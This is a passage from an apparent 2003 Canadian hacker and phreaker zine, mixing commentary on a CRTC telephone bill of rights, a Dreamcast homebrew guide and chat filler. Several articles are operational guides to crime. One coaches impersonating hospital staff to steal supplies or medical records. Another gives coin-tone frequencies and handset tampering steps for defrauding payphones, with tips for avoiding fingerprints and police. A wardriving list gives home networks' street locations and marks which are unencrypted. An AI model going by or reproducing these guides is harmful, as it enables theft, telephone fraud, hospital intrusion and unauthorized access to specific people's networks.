of this phile for example.) The consumers' bill of rights will set out the rights you have as a telephone user. (... yup, my rates are getting jacked again.) The CRTC wants to know which of your rights as a telephone user you believe should be included in the consumers' bill of rights. (How about a right to bear arms against gluttonous, profiteering corporations?) You can send your suggestions in one of three ways: (Only one? What is this, multiple choice? Oh my God, is this a quiz??? I didn't study! Argh!) by mail to CRTC, Ottawa, Ontario, K1A 0N2 by fax to (819) 953-0795 by e-mail to procedure@crtc.gc.ca Please send your ideas by 21 January 2004. For more information, call the CRTC at 1-877-249-2782. This is a free call. (... there's where the rate jack came from...) You can also check the CRTC web site as www.crtc.gc.ca *The CRTC is the "Canadian Radio-television and Telecommunications Commission"." (What the hell is a Radio-television??? And where can I get one???) Okay, all jokes aside, this actually has potential. The CRTC seems to have clued in that people are starting (albeit sloooowly) to wake up from "sheep mode", and start thinking outside the box. This would include things like people wondering what rights they actually have as a telephone user. Otherwise, the CRTC wouldn't be putting this little project together. I could be wrong, but it smells to me like they're trying to something in writing that will give themselves, and telecommunications companies, a leg to stand on if and when something major happens. Maybe they know something we don't? Regardless, with the telecommunications deregulation going like mad, and long distance and wireless services popping up like weeds in a cow pasture, the old school telco companies have got to be filling their pants, worried that the new services will prove to the customer just how badly, and for how long they've been getting hosed. To that effect, a lot of their customers are going to get mad. Which leads me to believe that this is part of the reason for the CRTC to be doing this now, when it could have been done 10, 15 or 20 years ago. In my opinion, the second reason comes from the telcos again. With petabytes of information being transported across hundreds of thousands of networks everyday, communication is quickly becoming easier, faster, and in most cases cheaper. With this suicidal growth rate comes holes in the system, some big enough to drive a Mack truck through. I think that when the smoke clears, and this bill of rights is in place, it will serve as a "box" for telco's to put customer usage in. That way, when someone operates outside the "box", they will, theoretically, have few legal rights, because they were operating outside of their rights, clearly defined in the "CRTC Consumers' bill of Rights". Looks like this could be used for some easy legal leverage by the telcos in prosecuting phreaks, and, depending on the coverage of the final document, hackers. It wouldn't be hard for them to tie hacking back to telephone usage if you're using dial-up. And if you're hacking over broadband cable, well, they don't care, that's got nothing to do with them. Can't speak for anyone else, but I plan on dumping a few e-mails, faxes and phone calls to the CRTC. The worst that could happen is that they ignore you. The best that could happen is that you might actually affect the final outcome of what could be the final decision on what your rights as a telephone user are. Either way, it's a half-an-hour of your time. What the hell. Or, you could do nothing, and let someone else decide your rights for you. Either way, it will be interesting to see the final outcome... Treephrog http://www.verbaltheory.net --- oh man, im fucked... i just ate a whole bin of blueberries, im going to shit water --- "The Clone writes to the CRTC" Saturday, August 16, 2003 The Clone wrote a letter to the CRTC as suggested by his very good friend Treephrog, who recently published "The CRTC Really Does Care About You". http://www.hackcanada.com/canadian/phreaking/crtc_mailout.txt Please read Treephrog's article before reading my e-mail below. Thanks. -- Date: Sat, 16 Aug 2003 01:28:47 -0600 From: The Clone To: procedure@crtc.gc.ca Subject: Suggestions... The CRTC wants to know which of your rights as a telephone user you believe should be included in the consumers' bill of rights. Well, then I'll suggestion something: 1. Don't make scanning for phone numbers without the intention to communicate illegal. I happen to think scanning numbers with the intention of learning what exists in the phone system is the POTS equivalent of searching the Internet for web-pages. There is a lot out there so why shouldn't consumers have the right to scan? Tele- marketing companies have the right to search for fax machines to send their annoying shit - citizens should have the same equal rights. 2. Require all telephone companies to give customers the names and telephone numbers of people prank calling them. I know that Telus and Bell Canada will *NOT* disclose the information of a person who has been harrassing you. However CLEC's like AT&T Canada will disclose this information, and so will wireless carriers such as Fido (Microcell). If you force companies to disclose this information to customers, then the idiots abusing the phone system will think twice about pulling shit like that again. 3. Voice Over Internet Protocol. Oh my. It spells the end. Stay away from VOIP until it at least grows and matures. And if the CRTC feels it needs to start regulating Canadian VOIP carriers, then please only act only as governing body that makes sure these companies aren't ripping off customers, make sure they provide quality service (line quality and customer service), and are allowing other VOIP companies to compete for reasonable market share! And please please please, do not try and make it illegal for a customer to choose to use VOIP services with an American company. There is talk amongst my colleagues and I that the CRTC believes if a Canadian citizen uses VOIP from an American company, that he/she is engaging in grey-area and potential "illegal" activity. Pardon me, but the world is changing. POTS copper is dying and Internet technology is the future for voice communication. Perhaps instead of trying to make it outright illegal for a Canadian citizen to get VOIP services from the United States, work with existing Canadian VOIP carriers in providing incentives (i.e. discount long distance rates) for customers who DO stay with homegrown the VOIP companies. Thank you for your time. I hope you consider my suggestions for the Consumers Bill of Rights. Sincerely, The Clone (Telecom Extraordinaire and Ninja) --------------------------------------------------------------------------------- And the cold, heartless auto-response: From: Procedure To: The Clone Subject: RE: Suggestions... Date: Sat, 16 Aug 2003 03:32:06 -0400 This is an automatic confirmation that we`ve received your message. If a response is required, we will contact you as soon as possible. If you submit any of the following online to the CRTC, remember to send the original by fax or regular mail: application; response to interrogatories; request for public disclosure; any other correspondence between parties involved in a CRTC proceeding. If you submit interventions and/or comments in response to a public notice, please be advised that only your name as well as the content of your e-mail will be posted on the CRTC Website as part of the public file. Thank you, Electronic Regulatory Filing Group CRTC (819) 953-8142 .eof --- tv fucks me up worse the booze, it tells me what to think, what to wear, who to be.. What the hell is wrong with me being who i want to be, wear what i wanna wear and listen to whatever music i fuckign feel like? Kankraka you sound like an advertisement for the concerned childrens advertisers council --- Social Engineering 101: The Basics of Physical Entry by Treephrog Thursday, August 28, 2003 Disclaimer: All information contained in this file is for edu-tainment purposes only. The author and the owner of where ever you got it from take no responsibilty for anything that happens to you or anyone else if you choose to try any or all of the things covered in this file. This file is reading material only. Read it, think about it, and realize that you can't pull it off anyway, and you will go to jail, get hurt or killed, or worse, if you attempt to do anything covered in, or related to, this file and its' contents. By reading beyond this disclaimer, you agree to hold harmless the author and anyone else associated with this file. Fair warning. Shouts: theclone, tek, kankraka, wizbone, cyb, the whole HackCanada crew, the whole #hackcanada crew, the whole Nettwerked crew, greasy, and the whole 902... if I missed someone, you know it wasn't on purpose. Step. "... as the audience grows, security knows... stoppin' me now is kinda serious..." - Limp Bizkit The is part one of series of philes. The rest will coincide with future releases of k-1ine. This phile will cover the basics, through the use of examples, of what you need to know, and what you need to consider, when using social engineering as a method of operations for physical entry. Our example for this phile will be a local hospital. Point 1: Objective Identify what it is exactly that you are trying to accomplish. If you have no clear objective in mind, you greatly increase your chances of getting caught, simply by way of human nature. If you are acting like you have no purpose, you will seem out of place in the environment in which you are trying to fit into. If you have multiple objectives in mind, prioritize them according to want/need, as it is unlikely you will successfully complete them all in one foray. The KISS theory applies heavily here: pick one objective, get in, get it, and get the hell out, and don't go back. Example: You want to "borrow" some things from your local hospital. It could be anything; medical supplies, chemicals, medical records of yourself or someone else, clothing, etc. Decide what you want, and keep it firmly in your mind. For now, we're going to pick something simple, like some minor medical supplies, rubber gloves, scrubs, bottles, etc. Point 2: Observation Watch and learn. This is perhaps the most critical part of social engineering, wheather dealing in physical entry or not. Spend time watching your mark. Learn the habits and quirks of your mark. The more you know about how your mark works, acts and thinks, the more likely you are to succeed. Look for weaknesses and pitfalls in your marks' physical location, such as hiding places, or places where the risk of being caught is high. Example: Spend time in the hospital. This is relatively easy to accomplish, as most hospitals have a pretty much "open door" policy. You can just walk in off the street and walk around. As long as you look like you have a purpose, staff will generally leave you alone; they are busy. If you do get stopped during your recon, tell the person you are looking for a friend who you were told was checked in after he had an accident. Worst case scenario, they will drag you over to a terminal and look to see if your friend is actually a patient. That's why it's important to say "heard" he was admitted. Then you can always say it must be the wrong hospital, or maybe he was never here at all, either way you were in the neighbourhood and wanted to check in on him. Best case scenario, they will say okay and sail away without missing a beat. Either way, if you play it this way, you should be pretty safe. Note: Bonus points for carrying around a card and a box of chocolates. Props can be the difference between pulling it off and pulling time. Point 3: Clothing and Props Once again, mission critical choices. You clothing, choice of words, and physical props are keys to being left alone to do what you came for. During your observation phase, pay close attention to what the style of dress is. Also note people's voice demeanor (how they talk, volume of voice, choice of words, key technical words) as well as body language. Note any props that may help you to be avoided in the environment. Example: Depending on your angle of attack, you may think it best to pose an intern, or as a janitor. Both have pros and cons. An intern would probably not be questioned if seen going through a filing cabinet or logged into a terminal, but is more likely to be stopped and questioned about something medical related. A janitor is not likely to be stopped by anyone except a patient or a visitor, but would be questioned instantly if found going through an open filing cabinet or logged into a terminal. Both would have equal chance to be questioned if found to be going through the supply room. The choice is yours. Point 4: Timing Depending on your mark, it may be better to make your entry when it is busy, or when it is not busy, daylight or after dark, certain times of the week, month, year, etc. Careful observation will allow you to see when you will be least likely to be noticed. Generally speaking, despite your instincts, busier is better. The chances of someone have the time to stop you and question you go down the busier it is. Put yourself in the position of someone who actually works there; if it was insanely busy, and you had a million things to do, would you have the time to even notice, let alone stop and question, someone who was somewhat out of place? Example: Depending on the hospital in question, usually busier is better. Ideally, wait outside with your white lab coat (you DO have a white lab coat, right?) folded up under your shirt or jacket. Wait for an ambulance to show up, hopefully (!) with a particularly traumatic patient. Wait a minute or two after the patient is unloaded, then scramble into your labcoat and walk purposely through the ambulance door. It helps if you picture a particular destination in your head, like somewhere on the upper floors. If you are walking like you are in a bit of a hurry, and with a destination in mind, you are a lot less likely to be stopped. Point 4: Becoming Part of the Scenery Through the use of props and body mannerisms, make yourself blend in. You have to appear as though you are supposed to be where you are, because it's your job to be there. You have to make it seem as though whatever you are doing, or on your way to do, is second nature to you. The easiest way to do this is convince yourself that it is true. As simple and as stupid as it sounds, pretend. Force yourself to think that you are actually who you are impersonating. Example: If you decide to play the role of intern, looking at your clipboard, shuffling through the sheets on it, and quietly muttering to yourself while walking briskly will deter most people from talking to you. You look busy, you look like you've got 400 things on your mind, and no one really wants to interrupt someone that busy. If you play the role of janitor, get your hands on a very important/strange looking tool, maybe something electrical related. Holding this while walking with a purpose will deter people from talking to you, as you are obviously on your way to fixing some very important medical equipment. Point 5: Extraction and Exit You managed to get where you need to be, you've managed to get what you came for, and now it's time to leave the area. Considerations should be made for what you came for in the first place. If your objective is a physical item or items, you need to address how you are going to transport them away without being noticed. This becomes less of an issue if you are dealing in data or some other less tangible for of objective, but should still be addressed prior to entry. As far as removing yourself from the premises, take the same care and planning that you put into getting in. Nothing marks a sloppy job like getting caught on the way out. Example: You can chose to leave in the same cover you came in, or, alternately, you can duck into a bathroom and change into your street clothes. If you are using a duffle bag or backpack, make sure to build some sort of false bottom into it for concealment purposes. NOTE: When looking at the example used in this text, extreme caution and consideration should be given to security systems. A lot of hospitals today are bristling with security cameras, metal detectors and security guards, especially in more urban areas. Well, that's it for this time around. Comments, criticisms and questions can be directed to treephrog@verbaltheory.net Audi-5000. --- JLo turned perfectly wonderful suburban white girls into hoochies she did and her ass won't get her out of it this time --- &^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^& $ The Sega Dreamcast: A Plethora of Fun -=- diabolik (c) 2003 $ &^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^&^&&^& %@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$% @ @ # 1. Introduction # $ $ % 2. End-user % @ @ # 3. Developer # $ $ % 4. Hacker % $ $ %@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$%@#$% -= Introduction =- -- History -- The Sega Dreamcast was the first 128-bit console to be released. It's direct competition at that time was the N64 and Playstation (The Saturn, past it's short-lived popularity, was not a viable product anymore). Sega once again made the first step into the new level of technology. Unfortunately, an engineer forgot one simple item in the final version of the Dreamcast design - copy protection. This made for a quick death for the Dreamcast : what console developer would support a system that made it *so* easy for evildoers to copy his hard worked game? Developing for the console was considered a risk and by then, developers were jumping on the PS2 and GameCube development platforms, with those systems' release date just around the corner. This was the death of the Dreamcast. It quickly dropped in price, and there were no more games being developed. While pirating these games were still a big thing in some IRC channels, there wasn't too much DC activity going on. But then the dreamcast revival began. Sega had used standard components when designing the Dreamcast to save money. This allowed for a very quick homebrew community to spring up. These people saw a powerful, cheap, accessable system, and moved to take advantage of it. -- Specs -- The specs of the dreamcast are quite impressive (considering the ~$30-$50 price range) 200mhz Hitachi SuperH RISC CPU NEC PowerVR2 3d-accelerator graphics chip Yamaha AICA 64 channel PCM sound chip 16 MB RAM, (+8 MB texture and 2 MB sound) 12X GD-ROM (1 GB double-density CD-ROM) built in 33.6k modem The rest of this article goes into detail of what fun can be had with the dreamcast after two years of dedication from the homebrew community. -= End-User =- -- Emulation -- The dreamcast has a huge emulation fanbase. You can run all the classic consoles, including C64, NES, GB, GBC, Genesis, SNES, etc.. Of these I recommend a few, being tried and tested: NesterDC - excellent, supports most ROMS, stable NES emulator. DreamSNES - Around 100% speed for a lot of games, just not anything "3D" ie DOOM. ScummVM - A very unique concept. It's a script interpreter for the old lucasarts point&click adventure games, IE Maniac Mansion. However they have support for the entire chain, up to Sam&Max and Day of The Tentacle. ScummVM runs on not only the Dreamcast, but on most PCs running Windows/Linux/BeOS and even PDAs running PalmOS or WinCE. Most games are well supported and other games are quickly becoming compatable with each release. To find a huge number of emulators, including the two above, check out http://www.dcemulation.com and http://www.consolevision.com. For ScummVM, go to http://www.scummvm.org. -- Ports -- Go to http://homebrew.dcemulation.com to find a large number of open source games for the PC which have been ported to the dreamcast under a varying level of success. Here is also where you'll find original games, being developed for the dreamcast. For more information on writing your own games on the dreamcast, see (3) - Developer. -- Applications -- Other than emulation, a number of apps have been released for the dreamcast. You can use your dreamcast to surf the web (over dialup or if you are so lucky, with the broadband adapter on your lan), chat on IRC, play MP3s. Some weird folk have even gotten DivX support on the damn thing (naturally, around 5 fps with no sound.) See http://homebrew.dcemulation.com again.. -= Development =- -- Building your Toolchain -- Here's where it starts getting interesting. In order to develop for the dreamcast you must have a cross-compiler toolchain (which is, a compiler running on one architecture, outputting machine code for another architecture). In this case we actually need two cross-compilers. One for the Dreamcast's main CPU, the SH4, and the other for the Dreamcast's ARM sound processor. With little edits we can make both of these from the generic GNU GCC releases. For a host OS you can use both Linux or Windows. Assuming your linux system is already set up for compilation, making your toolchain requires 3 tarballs, and configuring and making 4 apps. For windows, things are a little more complex since you need a system setup which supports make. If you want to go all out, use CYGWIN (www.cygwin.com). However this is not the best set up - it's large, slow, and a lot more than what you need. Cygwin would be good for the weird user that wants to attempt linux support in windows, instead of just running linux. A much easier to set up distribution would be MingW32, with its companion MSYS. An excellent guide, with shell script attached, can be found at http://ljsdcdev.sunsite.dk/tools.php. For the linux user, I'd suggest following the tutorials at http://www.linuxdevices.com/articles/AT7466555948.html. When I used the MSYS buildscript above, my compiler died on me twice while building GCC the second time (with C++ support). You have to edit your (obj dir)/gcc/makefile. (in using the script, this will be build-sh-g++\gcc\makefile) Firstly, find the two lines that start with USE_COLLECT2 and change them to "USE_COLLECT2 = ". Then, find the line beginning with STMP_FIXINC and change it to "STMP_FIXINC = ". This will fix the GCC release to work with MingW32. -- Installing & Building KOS -- Once building your toolchain is complete, its time to install KOS, the well developed low-level support for the Dreamcast (this is done automatically with the MingW32 Build script). You can find it at http://sourceforge.net/projects/cadcdev/ . Before attempting to build it, read the appropriate doc/readme's. You will have to edit and run environ-dc.sh before trying to compile. There is also one file patch, I had to add "#include " to mm.c, but I also think that the build-toolchain.sh will do this for you. KOS is -=the=- development library for the dreamcast (although I believe SDL also runs on it..), giving the user easy access to the all the peripherals and 3D acceleration. As well, it comes with a nice wrapper library to access the PVR chip via standard OpenGL commands. Once built, check out /kos-1.2.0/examples/kgl/nehe for some good examples. I suggest you add the line "export PATH=/cross/dc/sh-elf/bin:/cross/dc/arm-elf/bin:$PATH" to the bottom of your dc-environ.sh. For learning to write your makefiles, just look at the examples. -- Running your code on the Dreamcast -- Once your code is compiled, run: sh-elf-objcopy -O binary program.elf program.bin scramble program.bin programs.bin (you can find scramble.zip at http://www.geocities.com/ragnarok2040/ as a native MingW32 Exe.. other environments, try google. I'd suggest you edit your environ-dc.sh to add your SH compiler's bin directory to your PATH so access to sh-elf-objcopy is quick and painless) If you have a coder's cable (instructions to make one found at http://dev.dcemulation.com/tutorials/createcoderscable.htm), burn the DC serial upload slave from http://mc.pp.se/dc/serslave.html, then upload your programs via it. If you have a broadband/lan adapter, download dc-load-ip from http://sourceforge.net/projects/cadcdev/ and use it to upload your programs over internet. Without either of these devices, the best way to test your apps is with DemoMenu. You can find a nero image of a selfbooting demomenu CD by going to http://www.geocities.com/ragnarok2040/, then downloading new.zip (source is available at http://boob.co.uk/devtools.html). Burn the demomenu boot CD. Then, start a new multisession standard CD (track at a time, don't finish). Use this to burn each updated copy of your scrambled bins. Boot the demomenu CD in your dreamcast, swap discs, hit 'B' to refresh the filelist, then highlight your executable and hit "A". If you accidentally burnt an unscrambled ROM, hit "Y" then "A" to run it. -- Some Demo/Tool Sources -- http://www.boob.co.uk has a good number of sources/tools/tutorials for model loading and what not. http://www.dcemulation.com is more end-user related, although the homebrew section has a lot of sources available. The Dev section was never well built and has very little information. For troubleshooting, I'd suggest the forums of both http://www.consolevision.com and http://www.dcemulation.com. Don't bother using the #dcdev channel (I think the server was irc.freenode.net), but either way its mostly dead. -- KGL-X and Iris3D -- KGL-X is an additional extension to the KOS GL library. You can find it at http://a128.ch9.de/ (homepage) or http://www.boob.co.uk/devtools.html (mirror). With KGL-X, there has been a great 3D engine written called IRIS, found at http://www.epitech.net/labconsole/iris/. Look into it before thinking of writing your own. To compile Iris, here's the steps I took: - Installed KGL-X (no problems!) - downloaded and unzipped STLPort-4.5.3, and moved STLPort-4.5.3/stlport to /usr/local/include/stlport (note you have to create the include directory before moving) - copied the new stl_user_config.h from the iris3d download page to the stlport directory. - added a line to my environ-dc.sh at the bottom (or put it at the start of the other export PATH line you did after compiling KOS): "export PATH=/usr/local/include/stlport:$PATH" - Downloaded Iris 0.9.1 src from http://sourceforge.net/projects/iris3d/ and unzipped it. - here's the problem with 0.9.1 : The developer forgot to include an empty iris-src-0.9.1/lib directory in the archive. Before trying to compile, add this or creating the libraries will fail. -- Compatability -- You'll also find that a lot of the older KOS demos are broken. This is because KOS is not backwards compatable and over time the init and include methods have changed quite drastically. For one, if the compiler complains about missing headers, look at the source.. if its listing a bunch of "#include " the errors are because newer version of KOS include just one header for all the KOS-related functions - . So comment out those lines and add "#include " and try to compile. -= Hacking =- If you're a linux user, and you followed the link to http://www.linuxdevices.com/articles/AT7466555948.html, you might already know that you can run linux on the Dreamcast. There are some pretty big limitations, so don't expect a full workstation. Framebuffer support exists, but there is no support for the PVR, so don't try to port huge linux 3d games and expect results on the dreamcast. Your entire distro exists on a ramdisk in the 16 megs RAM of the dreamcast, and you can't mount the GD-ROM, so size is a huge limitation. With that said, people have gotten X to run under it. Look at Christian Berger's very detailed article at http://www.linuxdevices.com/files/article037/dreamcast-router.pdf on getting your dreamcast to be a dedicated firewall/router. The creator of KOS has also made some rather remarkable hardware hacks to the dreamcast. look at http://cadcdev.sourceforge.net/hdwrprj/navi/. He hacked together an IDE and a ISA port to his dreamcast. Why anyone would ever need to do this is beyond me, but still a very cool project nonetheless. -= Conclusion =- For $50, the Dreamcast is an open device, giving budding programmers a chance to get their feet wet with console programming without buying expensive SDKs. While a commercial failure, it has graced the homebrew community and will not disappear for a long time. ---==> (c) thed0wnlab@hotmail.com 2003 <==--- --- blow me I just might, Maggy --- Jackel In The Box Redboxing Millennium Payphones By Jackel Disclaimer ********************************************************************** The information contained in this document is for educational purposes only and I take no responsiblity for any actions you may take with use of knowledge. So it's not my fault if you get put behind bars. ********************************************************************** 1. Intro As long as there has been red boxing, the phone companies have always looked for ways to stop the abuse of their phones, until the millennium pay phone came out; it seemed impossible to stop red boxers. In this document I will show you how to beat the so called "smart phone" and screw Telus about of a lot of cash. So have fun reading this and I hope you learn something. Cheers. 2. What Is Red Boxing? Red Boxing is playing the tones of coins into the handset of the pay phone to get a free call. In Canada the tones are: Quarter: 2200hz 33ms on 33ms off 5times repeating Dime: 2200hz 0.06ms on 0.06ms off 2times repeating Nickel: 2200hz 0.06ms on only once I have also red boxed with 3900hz tones, but I will get into that a little later. I have always found that bringing my laptop to a pay phone to generate the tones is very effective, especially if you don't know the exact amount of cash needed for the call (be careful, while using a live operator I have only been caught by the op once.) If you are caught, the best thing to do is hang up and walk away. If you require further red boxing, info please go to http://www.hackcanada.com. If you still can't figure out how to redbox, your life of phreaking will be short lived indeed. 3. The Millennium Phone The Millennium pay phone is the so called "smart phone" which tries to stop abusers with many different defense strategies. You may want to stay away from opening the phone up and tearing wires apart because an alarm will sound when the main power has been mucked with. Thats why this exploit is in the handset which will not set off any alarm, and if the pay phone is not visited by a Telus tech often, it will not be nessessary to perform this operation every week or so. If you do happen to set off a alarm by doing this (it hasn't happened to me yet) the best idea is to BOOK IT AND DON'T STOP RUNNING! Run away, phreak another day, or stay and pay (I am aware of how lame that saying is but it is very true). A common mis- conception is that Nortel owns the Millennium design but infact the Quortech Corporation does (thanks to Clone for that information). Smart phone or not, don't be intimidated by this phone it may be the most "secure" phone out there but it is still built by engineers that were on a budget. An engineer makes mistakes, but an engineer on a budget is a disaster. 4. The Millennium Exploit The exploit for the Millennium is a very stupid oversight by the developers of the phone (must have had a couple blondes on the team). If you have talked to any Hack Canada members before the release of this document they may have let you in on some aspects of the exploit. Yes it has to do with the power but every time I have tried this, I have never set off a alarm. You have a better chance at getting laid by Avril than you do setting off the Millennium alarm. First off you will need some tools: Wire Cutters Flat Head Screw Driver Electrical Tape (must be black!) Super Glue (optional) Gloves Busting open the handset will be a lot easier if you remove the ear and mouth pieces first. I have been told that using a clamp works well, but I just band it against the phone and keep trying to open it. Once you got the ear/mouth pieces off, take the flathead screwdriver, go along the side of the handset where it was glued together and hit it. It should pop open rather easily. Once you got all of that done there should be anywhere from 4-6 wires in the handset... 1. For The Ear Peice 2. For The Mouth Peice 3. The Wire To Power Ear Peice 4. The Wire To Power The Mouth Peice 5. The Mute Wire 6. Unknown (let me know if you find out) The Mute wire is what you are looking for. Everytime I have done this, it has been a standard copper wire in a clear shell (it may not always be like this). As I said before dont worry about setting off any alarms with this exploit the power suppied to the wire is minimal. To save cash you will need to clip the wire and bend it back so the ends don't connect. After that is complete, get the 2 peices of the handset (hopefully there are only 2) and super glue them together. Make sure it is a very very close fit so you can get the mouth and ear peices back on. If you have completely destroyed the handset, use the tape to patch it together. Screw the mouth and hand peices back on. Now you are ready to redbox! Gloves: make sure you have these so that you don't leave fingerprints or anything of that sort on the phone. I doubt the cops will lift prints off the phone (it would be a waste of time because so many people use the phone), but better safe than in jail next to Bruno the axe murderer. 5. Red Boxing I will not supply you with a red box program - use the tones above to make one. I have used 3900hz tones many times which blows the mind because thats 1700hz to high. Try to use the 2200hz tones. The 3900hz tones work on the operators almost 100%, and on the machines 50% of the time. To red box you play the tones of the coins into the mouthpiece (something that every phreak should know, LoL). Sometimes you will get caught doing this by the operator, and she/he might report you to the police so just hang up and walk away. With the 2200hz tones, use 33ms spacing, but with the 3900hz tones use 30ms spacing. ** Note RED BOXING IS ILLEGAL AND IS FRAUD... IT WILL MAKE YOU A CRIMINAL ** If you do get nabbed by the police, they will most likely not know what you are doing unless a Telus tech is with them to explain what you were doing. If worst comes to worst, say you felt a need to trash the phone. The worst that could happen is a fine and community service. If that seems bad, just think you could have been charged with fraud! Your best option is to do this entire procedure at 2-4am, at a phone that's out of the way so you won't be noticed. Phreaking Tips: - Never Take Your Car With You - Bring A Bike / Skateboard / RollerBlades for quick get away - Be As Quiet As Possible - Bring a Laptop If Possible - Make Sure You Have Social Engineering Skills These tips are very basic and common sense. If you aren't able to do these (apart from the laptop) you shouldn't be phreaking yet. If you don't have these skills yet they are easy to aquire....please for your own good learn these skills before you even attempt anything you read in any document on hacking/phreaking. 6. Being Cautious If you are a veteran phreaker, chances are you have become quite comfortable red boxing or ripping open pay phones. You heard it from me; THIS WILL BE YOUR DOWNFALL! The minute you relax is the moment you get caught. If you do what is said in this document, you are guilty of vandalism, fraud, and probably a couple of other things. So always keep a look out and be aware of your area; have a escape plan, plan out what you will say to the Operator. And if a cop shows up, chances are you will be able to social engineer your way out of jail time and just receive a small fine. So for good reasons ph33r everything and everyone while doing this. 7. Conclusion As long as there have been phones, there have been people who have exploited them. Although it may not have gotten media attention until the late 80's. With recent "anti-phreaking" phones like the Millennium, it has made the simple things in life (like redboxing) that much harder. But as the corporations find new ways to screw over the phreakers, as well as the average Joe on the street, there will always be people like me and you willing to make them open their eyes and see that their services could be offered dirt cheap if it weren't run by people who only care about having million dollar houses. I hope you have had as much fun reading this as I have had writing it. Now go out there and FUCK TELUS UP! -Jackel Shouts: The Clone, Kankraka, Treephrog, steelethan, port9, lattera, Natwizz, Anarchy, The Entire HC Staff And Scene, NoSleep Magazine, Nettwerked. 09/03 --- would you hitch hike 200 km to get some from a ex-girlfriend, i did! being unemployed ROCKS!!! --- The Northwest Edmonton Wi-Fi Scan Compiled by: Cyberskank and The Clone On this Date: Monday, August 11, 2003 Contact us: theclone@hackcanada.com cybersk4nk@stealtc.org Disclaimer... This file was written as a resource for people wanting to know about the wireless networks (both secure and insecure) in the north part of Edmonton. It wasn't written to allow people to steal service, gain unauthorized access, or perform illegal or unlawful activities. If you choose to involve yourself in illegal or unlawful activities, you are completely responsible - NOT US. Is wardriving illegal? NO. The communications act in Canada states that public airways are just that: PUBLIC. It is the responsibility of the broadcaster to encrypt their data if they want privacy when using public airways. If you want help in properly securing your wireless network(s), we suggest that you check out this web-site: http://www.hypervivid.com/wireless.html. For all your Wi-Fi network disclosure needs, visit: http://www.packetninja.ca. Happy wardriving! Network 1: "linksys" BSSID: "00:06:25:98:CF:CA" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 2 Data : 0 Crypt : 0 Weak : 0 Total : 2 First : "Mon Aug 11 18:19:37 2003" Last : "Mon Aug 11 18:19:37 2003" Location : Regency Estates (Sturgeon County) Network 2: "homenet" BSSID: "00:40:05:B4:7E:23" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 22.0 LLC : 32 Data : 0 Crypt : 0 Weak : 0 Total : 32 First : "Mon Aug 11 18:25:08 2003" Last : "Mon Aug 11 18:25:12 2003" Location : 127st 161Ave. Oxford Estates Network 3: "Telus ADSL Connection" BSSID: "00:50:F2:C5:7A:B6" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 615 Data : 0 Crypt : 0 Weak : 0 Total : 615 First : "Mon Aug 11 18:25:40 2003" Last : "Mon Aug 11 18:33:29 2003" Location : 127st 161Ave. Oxford Estates Network 4: "default" BSSID: "00:40:05:BD:1F:9D" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 22.0 LLC : 79 Data : 0 Crypt : 0 Weak : 0 Total : 79 First : "Mon Aug 11 18:25:54 2003" Last : "Mon Aug 11 18:34:06 2003" Location : 127st 161Ave. Oxford Estates Network 5: "patandrandy" BSSID: "00:80:C8:0B:84:10" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 22.0 LLC : 1082 Data : 0 Crypt : 0 Weak : 0 Total : 1082 First : "Mon Aug 11 18:36:48 2003" Last : "Mon Aug 11 18:42:25 2003" Location : Oxford 129-A Street Network 6: "linksys" BSSID: "00:06:25:9A:75:5C" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 900 Data : 27 Crypt : 0 Weak : 0 Total : 927 First : "Mon Aug 11 18:37:38 2003" Last : "Mon Aug 11 18:42:02 2003" Address found via UDP 192.168.1.0 Location : Oxford 129-A Street Network 7: "home" BSSID: "00:50:F2:C3:43:1E" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 1 Data : 0 Crypt : 0 Weak : 0 Total : 1 First : "Mon Aug 11 18:43:18 2003" Last : "Mon Aug 11 18:43:18 2003" Location : 127st 158Ave (Chinese Pagoda) Network 8: "linksys" BSSID: "00:06:25:9B:F0:9A" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 18 Data : 0 Crypt : 0 Weak : 0 Total : 18 First : "Mon Aug 11 18:44:25 2003" Last : "Mon Aug 11 18:44:27 2003" Location : 127st 158Ave (Chinese Pagoda) Network 9: "5ECUR3w3p5TOR3" BSSID: "00:A0:F8:3B:00:93" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 1 Data : 0 Crypt : 0 Weak : 0 Total : 1 First : "Mon Aug 11 18:45:58 2003" Last : "Mon Aug 11 18:45:58 2003" Location : 137Ave 127st Network 10: "prb602" BSSID: "00:06:25:54:6B:E7" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 2 Data : 0 Crypt : 0 Weak : 0 Total : 2 First : "Mon Aug 11 18:47:24 2003" Last : "Mon Aug 11 18:47:24 2003" Location : 127 Street 134Ave Network 11: "default" BSSID: "00:80:C8:2A:67:7A" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 22.0 LLC : 34 Data : 2 Crypt : 0 Weak : 0 Total : 36 First : "Mon Aug 11 18:48:18 2003" Last : "Mon Aug 11 18:55:41 2003" Address found via TCP 66.218.68.202 Location : 131Ave 127St Network 12: "" BSSID: "00:06:25:92:A2:27" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 3 Data : 0 Crypt : 0 Weak : 0 Total : 3 First : "Mon Aug 11 18:51:21 2003" Last : "Mon Aug 11 18:51:22 2003" Location : 124Ave 125St (Yellowhead Youth Centre School) Network 13: "wireless" BSSID: "00:06:25:06:F8:1A" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 